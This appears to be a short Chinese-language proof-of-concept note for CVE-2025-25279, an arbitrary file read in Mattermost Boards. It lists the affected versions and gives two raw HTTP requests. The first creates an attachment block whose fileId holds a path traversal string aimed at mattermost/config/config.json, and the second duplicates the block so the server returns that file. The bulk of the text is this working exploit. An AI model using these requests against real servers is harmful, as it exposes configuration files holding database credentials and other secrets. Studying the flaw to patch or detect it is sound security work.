在将文件上传到 Mattermost 看板后，当修改 fileId 参数并复制看板时，文件现在指向并下载参数中指定的目标文件。
受影响版本： 启用了看板的 Mattermost 实例 CVE： CVE-2025-25279
Mattermost 版本 10.4.x <= 10.4.1、9.11.x <= 9.11.7、10.3.x <= 10.3.2、10.2.x <= 10.2.2 未能正确验证导入看板时的看板块，导致攻击者可以通过导入和导出特制的导入归档文件来读取系统上的任意文件。
POST /plugins/focalboard/api/v2/boards/bqgcxem5wo3ncfxkbfn5rkawxcr/blocks HTTP/1.1
Host: localhost:8065
Content-Length: 403
Authorization:
Accept-Language: en-US,en;q=0.9
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
Origin: http://localhost:8065
Connection: keep-alive
[{"id":"7gni7t3q3gj6unkq49mpb3xzdre","schema":1,"boardId":"bqgcxem5wo3ncfxkbfn5rkawxcr","parentId":"crc1qdykm1pg4mbfpct45qnyorw","createdBy":"","modifiedBy":"","type":"attachment","fields":{"fileId":"../../../../../../../mattermost/config/config.json"},"title":"CVE-2025-25279.txt","createAt":1740423098470,"updateAt":1740423098470,"deleteAt":0,"limited":false,"isUploading":false,"uploadingPercent":0}]
POST /plugins/focalboard/api/v2/boards/bqgcxem5wo3ncfxkbfn5rkawxcr/blocks/crc1qdykm1pg4mbfpct45qnyorw/duplicate?asTemplate=false HTTP/1.1
Host: localhost:8065
Content-Length: 0
Authorization:
Accept-Language: en-US,en;q=0.9
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
Origin: http://localhost:8065
Connection: keep-alive
功劳不属于我，包含审查